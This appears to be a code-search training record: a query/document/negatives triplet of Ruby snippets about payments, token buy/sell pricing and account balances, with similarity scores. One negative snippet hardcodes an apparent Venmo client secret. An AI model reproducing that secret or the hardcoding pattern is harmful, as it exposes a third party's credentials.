"def pay_amount(user, amount)\r\n if(self.credits>= amount)\r\n self.credits= self.credits-amount\r\n user.receive_credits(amount)\r\n else\r\n return 'suddenly you dont have enough money'\r\n end\r\n end",
"def balance\n txns.inject(Amount::ZERO) { |sum, t| sum + t.amount }\n end",
"def payment\n payment = 0\n transactions = finance_transactions\n unless transactions.nil?\n transactions.each do |t|\n payment += t.amount\n end\n end\n payment\n end",
"def amount\n @attributes[:amount]\n end",
"def amount\n bid.amount\n end",
"def loan_amt\n (self.buying_price*1000) * (1 - (self.deposit/100))\n end",
"def amount\n case mode\n when 'set', 'fixed' then money\n when 'percentage' then percentage\n end\n end",
"def original_gross\n params['amount']\n end",
"def social_money_send\n parms = params.require(:sendMoney).permit(:accountid, :amount, :currency, :message, :global)\n social_money_send_internal(parms[:amount], parms[:message], parms[:global], parms[:accountid], parms[:currency])\n end",
"def host_fee\n (total - net_rate).round(2)\n end",
"def fee\n (amount * 0.005) if amount\n end",
"def amount\n available_amount - blocked_amount\n end",
"def get_Amount()\n \t return @outputs[\"Amount\"]\n \tend",
"def amount\n data['amount'].to_f / 100\n end",
"def real_amount()\n Bankjob.string_to_float(amount, @decimal)\n end",
"def transaction_fee\n Money.new(-WITHDRAWAL_FEE_IN_CENTS, self.currency)\n end",
"def dispense(amount)\n @balance = @balance - amount\n puts \"hey I gave you #{amount}\"\n end",
"def amount_params\n params[:amount]\n end",
"def deposit(amount_of_money)\n return @balance + amount_of_money\n end",
"def get_authentic_coins_value(receipt_json)\n if receipt_json.blank? || receipt_json[\"receipt\"].blank?\n return 0\n end\n\n total_value = 0\n receipt_json[\"receipt\"].each do |coin|\n if coin.blank?\n return 0\n end\n if coin[\"status\"] == \"authentic\"\n # get serial number\n serial_no = coin[\"sn\"]\n\n case serial_no\n when 1..2097152 then total_value += 1\n when 2097153..4194304 then total_value += 5\n when 4194305..6291456 then total_value += 25\n when 6291457..14680064 then total_value += 100\n when 14680065..16777217 then total_value += 250\n end\n end\n end\n\n return total_value\n end",
"def form_amount\n if withdrawal != nil\n if withdrawal\n return amount * -1\n else\n return amount\n end\n end\n return amount\n end",
"def amount\n @amount.to_i\n end",
"def total_amount\n \t amount = 0\n \t operation_items.each do | oi |\n \t\tamount = amount + oi.amount\n end\n amount\n end",
"def amount\n return self.fee['amount'].to_f\n end",
"def channel_fee\n 1\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(deposit_amount)\n @amount+=deposit_amount\n puts @amount\n end",
"def nonce; end",
"def amount\n self.payout_amount\n end",
"def payment(amount)\n @balance -= amount\n end",
"def pay_interest!(entity)\n owed = interest_owed(entity)\n # This is here so that the log message does not get duplicated.\n if corp_has_new_zealand?(entity) && entity.loans.size.positive?\n @log << \"#{entity.name}'s token in Nieuw Zeeland covers one loan's worth of interest\"\n end\n return super unless owed.negative?\n\n # Negative interest -> corporation has New Zealand\n @log << \"#{entity.name} gets $20 for having a token in Nieuw Zeeland and no loans\"\n entity.spend(owed, bank, check_cash: false, check_positive: false)\n nil\n end",
"def deposit_cash(deposit_amount)\n @balance += deposit_amount\n end",
"def parse_amount_owed text_amount\n (parse_amount_cents text_amount).abs\n end",
"def remainder_to_pay\n self.total_amount - self.checkout_wallet.unconfirmed_value_paid\n end",
"def infer_amount!\n self.amount = nil\n\n full_description = \"#{quantity} #{notes}\".downcase\n\n inferred = full_description.gsub(/[a-z|\\s]/, '').to_f\n self.amount = inferred if inferred > 0\n\n if self.amount == nil\n Rails.logger.warn \"Couldn't infer amount from [#{full_description}]\"\n end\n end",
"def spend(amount)\r\n @spend += amount\r\n end",
"def acc_balance\n @page.css(\"span[data-semantic = 'header-available-balance-amount']\").text.to_money.to_f\n end",
"def calculate_control(transaction_id, amount)\n Digest::MD5.hexdigest(\"#{@x_login}#{transaction_id}#{amount}\")\n end",
"def amount_owed\n invoice_total - total_amount_paid\n end",
"def bitcoin\n @bitcoin || Counterparty.bitcoin\n end",
"def withdraw!(amount)\n amount = -amount if amount > 0\n add_transaction(amount)\n\n balance\n end",
"def credit!(amount)\n self.balance += parse_monetary_value(amount)\n self.store\n end",
"def authorize(amount, params = {})\n params = params.reverse_merge(\n :command => :a,\n :msg_type => 'DMS',\n :amount => amount,\n :currency => default_currency\n )\n lookup_currency(params)\n requires!(params, :amount, :currency, :client_ip_addr, :msg_type)\n commit(params)\n end",
"def deposit(amount)\n @balance += amount\n @balance\n end",
"def deposit(amount)\n @balance += amount\n end"
] |
[
"0.72216815",
"0.68613243",
"0.6836567",
"0.68127555",
"0.68014234",
"0.676774",
"0.66442186",
"0.65993166",
"0.63698995",
"0.6355061",
"0.6337102",
"0.6317684",
"0.6305919",
"0.62956876",
"0.6286983",
"0.6255539",
"0.62277126",
"0.61957914",
"0.6192802",
"0.6175861",
"0.61750543",
"0.61745596",
"0.6170511",
"0.6170511",
"0.6170511",
"0.6170511",
"0.61652327",
"0.6163412",
"0.6151658",
"0.6148354",
"0.61460435",
"0.61329746",
"0.6126304",
"0.61260134",
"0.61112064",
"0.6087675",
"0.60855836",
"0.60571736",
"0.60512304",
"0.60486704",
"0.60486704",
"0.60246253",
"0.60081995",
"0.60034543",
"0.59856504",
"0.5984674",
"0.59715927",
"0.59598786",
"0.59237576",
"0.59131753",
"0.59100515",
"0.5902337",
"0.5897043",
"0.58960885",
"0.58869505",
"0.588674",
"0.58678275",
"0.58655065",
"0.58647823",
"0.5859481",
"0.58544743",
"0.58490944",
"0.58281535",
"0.5826439",
"0.5823392",
"0.58201903",
"0.5812561",
"0.58029926",
"0.5800781",
"0.58001506",
"0.5799541",
"0.57957655",
"0.579267",
"0.5790585",
"0.5788714",
"0.578864",
"0.5787745",
"0.5786875",
"0.5781562",
"0.5781562",
"0.57812357",
"0.577938",
"0.57673556",
"0.57638204",
"0.57584774",
"0.5753338",
"0.57516205",
"0.5751147",
"0.5749166",
"0.5749094",
"0.5743755",
"0.57418364",
"0.57391113",
"0.5729863",
"0.57205725",
"0.57184803",
"0.5714755",
"0.5706739",
"0.5705268",
"0.5704574"
] |
0.6858055
|
2
|
Counterparty sells `amount` tokens for some eth
|
def sell(amount)
tokens_sold = amount.to_f
@token_reserve += tokens_sold
new_ether_reserve = @konst / @token_reserve
ether = @ether_reserve - new_ether_reserve
price = sprintf("%0.4f", ether / tokens_sold)
log "You get #{ether} ether for #{tokens_sold} tokens, price #{price}" # This is where we send ETH to the seller
@ether_reserve = new_ether_reserve
output
return ether
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def buy(amount)\n ether = amount.to_f\n\n @ether_reserve += ether\n new_token_reserve = @konst / @ether_reserve\n\n tokens_bought = @token_reserve - new_token_reserve\n price = sprintf(\"%0.4f\", ether / tokens_bought)\n log \"You get #{tokens_bought} tokens for #{ether} ether, price #{price}\" # this is where we would transfer tokens to the buyer\n\n @token_reserve = new_token_reserve\n output\n\n return tokens_bought\n end",
"def buy(counterparty, amount)\n ether = amount.to_f\n tokens_bought, @ether_reserve, @token_reserve = trade(ether, @ether_reserve, @token_reserve)\n price = sprintf(\"%0.4f\", ether / tokens_bought)\n log \"#{counterparty.name} gets #{tokens_bought} tokens for #{ether} ether, price #{price}\"\n counterparty.ether -= ether\n counterparty.tokens += tokens_bought\n output\n return tokens_bought\n end",
"def sell(counterparty, amount)\n tokens = amount.to_f\n ether, @token_reserve, @ether_reserve = trade(tokens, @token_reserve, @ether_reserve)\n price = sprintf(\"%0.4f\", ether / tokens)\n log \"#{counterparty.name} gets #{ether} ether for #{tokens} tokens, price #{price}\" # This is where we send ETH to the seller\n counterparty.ether += ether\n counterparty.tokens -= tokens\n output\n return ether\n end",
"def activemerchant_amount\n (amount * 100).to_i\n end",
"def give_coins(token, amount)\n raise 'Only Game or action resolvers should call this method' if token != @action_token\n @coins += amount\n end",
"def sell_at_any_cost(percent_decrease = 0.3)\n market_name = @market_name\n open_orders_url = get_url({ :api_type => \"market\", :action => \"open_orders\", :market => market_name })\n open_orders = call_secret_api(open_orders_url)\n #cancel all orders\n if open_orders.size > 0\n open_orders.each do |open_order|\n cancel_order_url = get_url({ :api_type => \"market\", :action => \"cancel_by_uuid\", :uuid => open_order[\"OrderUuid\"] })\n call_secret_api(cancel_order_url)\n end\n end\n # call sell bot again with lower profit\n sell_order = sell_bot(percent_decrease)\nend",
"def send_money(amount)\n fail unless amount >= 0\n self.credits += amount\n end",
"def charged_fee(amount)\n (amount * merchant.fee)\n end",
"def send_tokens(amount, target_wallet)\n cell = fetch_cell\n target_cell = target_wallet.fetch_cell\n if amount > cell[:amount]\n raise \"Do not have that much amount!\"\n end\n inputs = [\n {\n previous_output: {\n hash: cell[:out_point][:hash],\n index: cell[:out_point][:index]\n },\n unlock: token_info.unlock_script_json_object(pubkey)\n }\n ]\n outputs = [\n {\n capacity: cell[:capacity],\n data: [cell[:amount] - amount].pack(\"Q<\"),\n lock: address,\n type: token_info.contract_script_json_object\n },\n {\n capacity: target_cell[:capacity],\n data: [target_cell[:amount] + amount].pack(\"Q<\"),\n lock: target_cell[:lock],\n type: token_info.contract_script_json_object\n }\n ]\n signed_inputs = Ckb::Utils.sign_sighash_all_anyonecanpay_inputs(inputs, outputs, privkey)\n # This doesn't need a signature\n target_input = {\n previous_output: {\n hash: target_cell[:out_point][:hash],\n index: target_cell[:out_point][:index]\n },\n unlock: target_wallet.token_info.unlock_script_json_object(target_wallet.pubkey),\n }\n tx = {\n version: 0,\n deps: [api.mruby_out_point],\n inputs: signed_inputs + [target_input],\n outputs: outputs\n }\n api.send_transaction(tx)\n end",
"def amount\n params['amount_net']\n end",
"def buy(amount)\n @bought_amount += amount if amount_remaining >= amount\n end",
"def add_trivia(amount)\n if amount < 10\n @credits = @credits + amount * 2\n else\n @credits = @credits + 20\n end\n end",
"def post_buy_token\n # Whitelist parameters for buying tokens\n purchase_params \n end",
"def creditCoins(amount)\r\n @betESSCoins += amount\r\n end",
"def purchase(amount, params = {})\n params = params.reverse_merge(\n :command => :v,\n :amount => amount,\n :currency => default_currency\n )\n lookup_currency(params)\n requires!(params, :amount, :currency, :client_ip_addr)\n commit(params)\n end",
"def ot_voucher_amount\n end",
"def send_money_to(receiver, amount, note=nil)\n debits.create!(receiver: receiver, amount: amount, note: note)\n end",
"def sell_all_bot(profit_rate = 0.2)\n markets_url = get_url({ :api_type => \"public\", :action => \"markets\" })\n markets = call_api(markets_url)\n expected_worth = 0.0\n markets.each do |market|\n currency = market[\"MarketCurrency\"]\n base_currency = market[\"BaseCurrency\"]\n market_name = market[\"MarketName\"]\n if market[\"IsActive\"] and base_currency == \"BTC\"\n get_balance_url = get_url({ :api_type => \"account\", :action => \"currency_balance\", :currency => currency })\n balance_details = call_secret_api(get_balance_url)\n if balance_details[\"Available\"] and balance_details[\"Available\"] > 0.0 #purchased coins\n orders_history_url = get_url({ :api_type => \"account\", :action => \"market_orders_history\", :market => market_name })\n orders_history = call_secret_api(orders_history_url)\n net_value = 0.0\n orders_history.each do |order|\n net_value += order[\"Price\"] if order[\"OrderType\"] == \"LIMIT_BUY\"\n net_value -= order[\"Price\"] if order[\"OrderType\"] == \"LIMIT_SELL\"\n end\n if net_value > 0 # buys are more, we need to get more than this net value by selling available coins\n sell_price = (net_value + net_value*profit_rate)/balance_details[\"Available\"]\n sell_price = \"%.8f\" % sell_price\n sell_limit_url = get_url({ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => balance_details[\"Available\"], :rate => sell_price })\n order_placed = call_secret_api(sell_limit_url)\n p [order_placed, \"for #{market_name} at #{sell_price}\"]\n end\n expected_worth += (net_value + net_value*profit_rate)\n end\n end\n end\n p [\"Expected Worth=\", expected_worth]\nend",
"def pay_table(token, amount)\n if is_token_valid token\n DB.transaction do # new transaction to be sure that nothing change on the database while we operate the payment\n ticket = issue_ticket(token) # let's use the issue_ticket method to compute the total price to pay\n if amount < ticket[:total]\n raise \"the given amount must be greater or equal to #{ticket[:total]}\" # the error produce a ROLLBACK of the transaction\n else\n Placement[:client_id => token].destroy # we retrieve the Placement associated to the token and delete it from the database\n end\n end # COMMIT the transaction\n return\n else\n raise 'The provided token is not valid'\n end\nend",
"def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n end",
"def amount; end",
"def sell_bot(percent_decrease = 0.1)\n market_name = @market_name\n currency = @currency\n low_24_hr, last_price, ask_price = get_market_summary(market_name)\n sell_price = last_price - percent_decrease*last_price\n get_balance_url = get_url({ :api_type => \"account\", :action => \"currency_balance\", :currency => currency })\n balance_details = call_secret_api(get_balance_url)\n sell_price = \"%.8f\" % sell_price\n if balance_details and balance_details[\"Available\"] and balance_details[\"Available\"] > 0.0\n p [market_name, last_price, balance_details[\"Available\"], sell_price]\n sell_limit_url = get_url({ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => balance_details[\"Available\"], :rate => sell_price })\n puts \"Selling coin...\".yellow\n p [{ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => balance_details[\"Available\"], :rate => sell_price }]\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt = 1\n while cnt <= 3 and order_placed and order_placed[\"uuid\"].nil? #retry\n puts \"Retry #{cnt} : Selling coin...\".yellow\n sleep(1) # half second\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt += 1\n end\n p [order_placed, \"Sell #{balance_details[\"Available\"]} of #{market_name} at #{sell_price}\"]\n else\n puts \"Insufficient Balance\".red\n end\nend",
"def buy(amount:, price:)\n OpenOrderParser.parse(post(\"buy\", amount: amount, price: price))\n end",
"def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end",
"def sell_quote\n\t\tresult = money_quote('ask', btc_float2int(1.0))\n\t\treturn result['amount']\n\tend",
"def merchant_amount_usd\n payload[:merchant_amount].to_d\n end",
"def spend(amount)\r\n @spend += amount\r\n end",
"def pay_interest!(entity)\n owed = interest_owed(entity)\n # This is here so that the log message does not get duplicated.\n if corp_has_new_zealand?(entity) && entity.loans.size.positive?\n @log << \"#{entity.name}'s token in Nieuw Zeeland covers one loan's worth of interest\"\n end\n return super unless owed.negative?\n\n # Negative interest -> corporation has New Zealand\n @log << \"#{entity.name} gets $20 for having a token in Nieuw Zeeland and no loans\"\n entity.spend(owed, bank, check_cash: false, check_positive: false)\n nil\n end",
"def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end",
"def buy_sell_bot(percent_increase = 0.05, chunk = 0.004, prepump_buffer = 0.5, profit = 0.2, splits = 2, no_of_retries = 10)\n market_name = @market_name\n currency = @currency\n low_24_hr, last_price, ask_price = get_market_summary(market_name)\n total_spent = 0.0\n p [low_24_hr, last_price, ask_price]\n if last_price < (1.0 + prepump_buffer)*low_24_hr #last_price is smaller than 50% increase since yerterday\n order = buy_chunk(last_price, market_name, percent_increase, chunk)\n buy_price = last_price + last_price * percent_increase\n counter = 0\n while counter < no_of_retries\n get_balance_url = get_url({ :api_type => \"account\", :action => \"currency_balance\", :currency => currency })\n balance_details = call_secret_api(get_balance_url)\n p balance_details\n if balance_details and balance_details[\"Available\"] and balance_details[\"Available\"] > 0.0 # available coins present\n qty = balance_details[\"Available\"]/splits\n splits.times do |i|\n qty += (balance_details[\"Available\"].to_i % splits) if (i-1 == splits)\n sell_price = buy_price + buy_price * (profit * (i+1))\n sell_price = \"%.8f\" % sell_price\n sell_limit_url = get_url({ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => qty, :rate => sell_price })\n puts \"Selling coin...\".yellow\n p [{ :api_type => \"market\", :action => \"sell\", :market => market_name, :quantity => qty, :rate => sell_price }]\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt = 1\n while cnt <= 3 and order_placed and order_placed[\"uuid\"].nil? #retry\n puts \"Retry #{cnt} : Selling coin...\".yellow\n sleep(1) # half second\n order_placed = call_secret_api(sell_limit_url)\n puts (order_placed and !order_placed[\"uuid\"].nil? ? \"Success\".green : \"Failed\".red)\n cnt += 1\n end\n p [order_placed, \"Sell #{qty} of #{market_name} at #{sell_price}\"]\n end\n break\n end\n counter += 1\n sleep(0.5)\n end\n end\nend",
"def dispense(amount)\n @balance = @balance - amount\n puts \"hey I gave you #{amount}\"\n end",
"def sell(amount:, price:)\n OpenOrderParser.parse(post(\"sell\", amount: amount, price: price))\n end",
"def amount\n params['amount']\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def pay_amount(user, amount)\r\n if(self.credits>= amount)\r\n self.credits= self.credits-amount\r\n user.receive_credits(amount)\r\n else\r\n return 'suddenly you dont have enough money'\r\n end\r\n end",
"def chargeUser(msisdn,amount,userToken)\n \tcontent = open('https://devapi.globelabs.com.ph/payments/2307').read\n\tjson = JSON.parse(content)\n\tincrement = json['result'].first['reference_code'].to_i+1\n\turi = URI.parse(\"https://devapi.globelabs.com.ph/payment/v1/transactions/amount/\")\n uri.query = \"access_token=#{userToken}\"\n response = HTTParty.post(uri,\n\t:body => {:description => 'desc', :endUserId => msisdn, :amount => amount, :referenceCode => 91131000001,\n\t:transactionOperationStatus => 'charged'})\n output(response)\n response.code.eql?(201) ? (Transaction.successful(msisdn,amount) ; sendSms(msisdn,amount,userToken)) : (Transaction.failed(msisdn,amount))\n end",
"def payment(amount)\n @balance -= amount\n end",
"def social_money_send\n parms = params.require(:sendMoney).permit(:accountid, :amount, :currency, :message, :global)\n social_money_send_internal(parms[:amount], parms[:message], parms[:global], parms[:accountid], parms[:currency])\n end",
"def trade; end",
"def transfer(amount, address)\n amount = cast_amount(amount)\n raise Mobius::Client::Error::InsufficientFunds if app_balance < amount\n submit_tx { |operations| operations << payment_op(amount, dest: address, src: user_keypair) }\n rescue Faraday::ClientError => err\n handle(err)\n end",
"def cc_purchase (person, cc_number, amount)\r\n\t\tif @bank_listing[person.id_number][:cc_spent] < @bank_listing[person.id_number][:cc_limit] && cc_number == @bank_listing[person.id_number][:cc_number]\r\n\t\t\t@bank_listing[person.id_number][:cc_spent]+=amount\r\n\t\t\tputs \"#{@bank_name}: Card accepted.\"\r\n\t\telse\r\n\t\t\tputs \"#{@bank_name}: Card has been declined.\"\r\n\t\tend\r\n\tend",
"def get_amount(*params); raise('Stub or mock required.') end",
"def charge!(cents, idempotency_key)\n # we are not charging anything - customer pays via bank transfer\n { paymentmethod: payment_info }\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def money; end",
"def debitCoins(amount)\r\n @betESSCoins -= amount\r\n end",
"def place_bet(amount)\n @total_money -= amount\n end",
"def investment\n if buy_price\n num_of_shares * buy_price\n end\n end",
"def money\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def add(amount, action)\n add_exchange_rate_if_necessary(amount.currency)\n \n # adjust balance\n unless [:authorize, :void].include?(action)\n if self.balance.zero?\n self.balance = Money.new(1, self.currency) + amount - Money.new(1, self.currency)\n else\n self.balance += amount\n end\n end\n\n # adjust available\n if [:authorize].include?(action)\n if self.available.zero?\n self.available = Money.new(1, self.currency) + amount - Money.new(1, self.currency)\n else\n self.available += amount\n end\n end\n end",
"def deposit(amount)\n @balance += amount\n end",
"def payment\n number_with_precision(amount, :precision => 2 )\n end",
"def payment\n loan_amount / 12\n end",
"def payout(amount, target_address: user_keypair.address)\n amount = cast_amount(amount)\n raise Mobius::Client::Error::InsufficientFunds if app_balance < amount\n submit_tx do |operations|\n operations << payment_op(amount, dest: target_address, src: app_keypair)\n end\n rescue Faraday::ClientError => err\n handle(err)\n end",
"def send_money(params)\n fail ArgumentError, 'Hash is expected as params' unless params.is_a?(Hash)\n fail ArgumentError, 'String is expected as :amount' unless params[:amount].is_a?(String)\n fail ArgumentError, 'String is expected as :address' unless params[:address].is_a?(String)\n fail ArgumentError, 'Invalid amount format' unless params[:amount] =~ /^\\d+\\.\\d+$/\n fail ArgumentError, 'Invalid address format' unless params[:address] =~ /^[A-Za-z0-9]+$/\n Cubits.connection.post(\n '/api/v1/send_money',\n amount: params[:amount], address: params[:address]\n )\n end",
"def update_amount(txaction)\n if amount_given? && txaction.manual_txaction?\n validate_amount\n txaction.update_attributes!(:amount => amount)\n end\n end",
"def debt_payment\n loan_proceeds = 0\n debt_rate * loan_proceeds\n end",
"def transfer(amount,to,memo=nil)\n client.post(transaction_url,{:amount=>amount,:to=>to,:memo=>memo}) if client\n end",
"def purchase(money, card_or_transaction, options={})\n MultiResponse.run do |r|\n r.process { access_token_request }\n r.process do\n post = {}\n access_token_from(r, options)\n\n add_amount(post, money)\n add_invoice(post, options)\n add_payment(post, card_or_transaction, options)\n add_address(post, options)\n add_extra_data(post, options)\n\n if card_or_transaction.kind_of?(Integer)\n commit('/v1/transactions/sale/by_transaction', post, options)\n else\n commit('/v1/transactions/sale/keyed', post, options)\n end\n end\n end\n end",
"def transfer_funds\n @organizer = Organizer.find(params[:id])\n @amount = raw_price(params[:amount])\n @current = raw_price(params[:current])\n\n if params[:amount].nil?\n @status = \"danger\"\n @message_status = \"Você não especificou um valor\"\n return\n end\n\n @bank_account_active_id = @organizer.marketplace.bank_account_active.own_id\n if @bank_account_active_id.nil?\n @status = \"danger\"\n @message_status = \"Você não tem nenhuma conta bancária ativa no momento\"\n else\n if @amount <= @current\n bank_transfer_data = {\n \"amount\" => @amount,\n \"transferInstrument\" => {\n \"method\" => \"BANK_ACCOUNT\",\n \"bankAccount\" => {\n \"id\" => @bank_account_active_id,\n }\n }\n }\n response_transfer = RestClient.post(\"#{Rails.application.secrets[:moip_domain]}/transfers\", bank_transfer_data.to_json, :content_type => :json, :accept => :json, :authorization => \"OAuth #{@organizer.marketplace.token}\"){|response, request, result, &block|\n case response.code\n when 401\n @status = \"danger\"\n @message_status = \"Você não está autorizado a realizar esta transação\"\n @response_transfer_json = JSON.load response\n when 400\n @status = \"danger\"\n @message_status = \"Não foi possíel realizar a transferência\"\n @response_transfer_json = JSON.load response\n when 200\n @status = \"danger\"\n @message_status = \"Não foi possível realizar a transferência\"\n @response_transfer_json = JSON.load response\n when 201\n @status = \"success\"\n @message_status = \"Solicitação de transferência realizada com sucesso\"\n @response_transfer_json = JSON.load response\n MarketplaceMailer.transfer(@organizer, friendly_price(@response_transfer_json[\"amount\"]), l(@response_transfer_json[\"updatedAt\"].to_datetime, format: '%d de %B de %Y as %Hh%M')).deliver_now\n else\n @activation_message = \"Não conseguimos resposta do MOIP para a transferência soliticata, verifique os dados novamente.\"\n @activation_status = \"danger\"\n @response_transfer_json = JSON.load response\n end\n }\n else\n @status = \"danger\"\n @message_status = \"Você não tem fundos suficientes para realizar esta transferência\"\n end\n end\n\n end",
"def sub(amount, invoice, pvt, details = '-', time: Time.now)\n raise 'The amount has to be of type Amount' unless amount.is_a?(Amount)\n raise \"The amount can't be negative: #{amount}\" if amount.negative?\n raise 'The pvt has to be of type Key' unless pvt.is_a?(Key)\n prefix, target = invoice.split('@')\n tid = max + 1\n raise 'Too many transactions already, can\\'t add more' if max > 0xffff\n txn = Txn.new(\n tid,\n time,\n amount * -1,\n prefix,\n Id.new(target),\n details\n )\n txn = txn.signed(pvt, id)\n raise \"Invalid private key for the wallet #{id}\" unless Signature.new(network).valid?(key, id, txn)\n add(txn)\n txn\n end",
"def credit!(amount)\n self.balance += parse_monetary_value(amount)\n self.store\n end",
"def deposit(amount)\n @balance += amount\n end",
"def credit(money, identification, options = {})\n body = credentials\n body[:ssl_transaction_type] = :ccreturn\n\n body[:ssl_amount] = (money.to_money/100.0).to_s\n body[:ssl_txn_id] = identification\n\n body_text = xmlize({:txn => body})\n\n logger.error 'REQUEST: ' + body_text\n response = RestClient.post(url, body_text) {|response, request, result| response }\n logger.error 'RESPONSE: ' + response\n\n doc = JSON.parse(Hash.from_xml(response).to_json,:symbolize_names=>true)[:txn]\n\n #logger.error body_text\n #logger.error response.to_s\n\n return request_failed_response(doc) if request_failed?(doc)\n\n ActiveMerchant::Billing::Response.new(\n doc[:ssl_result].to_s == '0',\n doc[:ssl_result_message], {},\n :authorization => doc[:ssl_txn_id],\n :request => body_text,\n :response => doc.to_json)\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def deposit(amount)\n @balance += amount\n end",
"def credit(amount)\n\t\t@revenue += amount\n\tend",
"def add_cash(amount)\n transaction = Transaction.new\n transaction.transaction_type_id = 1\n transaction.seller_id = self.id\n transaction.price = Setting.first.exchange_rate\n transaction.amount = amount\n transaction.save\n self.update_portfolio\n return transaction\n end",
"def sale(amount, trans_id='')\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\n @PARAM_HASH['AMOUNT'] = amount\n @PARAM_HASH['RRNO'] = trans_id\n end",
"def claim_payment_amount(*options)\n @eob.amount('total_amount_paid_for_claim')\n end",
"def request_token(*args)\n args_options = args.extract_options!\n uri = '/api_paynow/api_paynow.asmx/api_paynow_authentication_new'\n\n options ={\n body: {\n psbID: self.preferred_psbid, \n username: self.preferred_username, \n secureCode: self.preferred_securecode,\n inv: args_options[:invoice],\n itm: '1', \n amt: args_options[:amount],\n paypal_amt: '',\n curr_type: 'TH',\n com: '',\n method: 1,\n language: args_options[:lang],\n resp_front_url: \"#{self.preferred_domain}/orders/#{args_options[:order_id]}/checkout/paysbuy_return\",\n resp_back_url: \"#{self.preferred_domain}/paysbuy_callbacks/notify?encryted_order_number=#{self.class.encrypt args_options[:invoice]}\",\n opt_fix_redirect: 1,\n opt_fix_method: '',\n opt_name: args_options[:name],\n opt_email: args_options[:email],\n opt_mobile: '',\n opt_address: \"\",\n opt_detail: \"\"\n }\n }\n\n result = self.class.post(base_uri + uri, options)\n attempt = 0\n\n # if have got an unexpected result, try to get the correct result again\n # from API document, return result should start with '00'\n # if not start with '00' should try again (then, try 5 times)\n while(!(result.parsed_response[\"string\"] =~ /^00/) && \n (attempt <= 5)) do\n\n result = self.class.post(base_uri + uri, options)\n attempt += 1\n end\n\n result.parsed_response[\"string\"].gsub(/^00/, \"\")\n end",
"def settle\n \n\n if params[\"code\"]\n auth_code = params[\"code\"]\n end \n url = \"https://api.venmo.com/v1/oauth/access_token\"\n @response = HTTParty.post(url, :query => {:client_id => '1916', :client_secret => 'eGcyNHaysfbFGZ6xkMffUw3gGrKFzksG', :code => auth_code})\n user = @response[\"user\"]\n @access_token = @response[\"access_token\"]\n @refresh_token = @response[\"refresh_token\"]\n @email = params[:email]\n @amount = params[:amount]\n \n url = \"https://api.venmo.com/v1/payments\"\n @amount = HTTParty.post(url, :query => { \"access_token\" => @access_token, :email => @email, :amount => @amount, :note => 'PayUp'})\n redirect_to bets_path\n end",
"def sell(params)\n fail ArgumentError, 'Hash is expected as params' unless params.is_a?(Hash)\n fail ArgumentError, 'Hash is expected as :sender' unless params[:sender].is_a?(Hash)\n sender = params[:sender]\n fail ArgumentError, 'String is expected as sender[:amount]' unless sender[:amount].is_a?(String)\n fail ArgumentError, 'Invalid amount format' unless sender[:amount] =~ /^\\d+\\.\\d+$/\n fail ArgumentError, 'Hash is expected as :receiver' unless params[:receiver].is_a?(Hash)\n receiver = params[:receiver]\n fail ArgumentError, 'String is expected as receiver[:currency]' unless receiver[:currency].is_a?(String)\n Cubits.connection.post(\n '/api/v1/sell',\n sender: {\n amount: sender[:amount]\n },\n receiver: {\n currency: receiver[:currency]\n }\n )\n end",
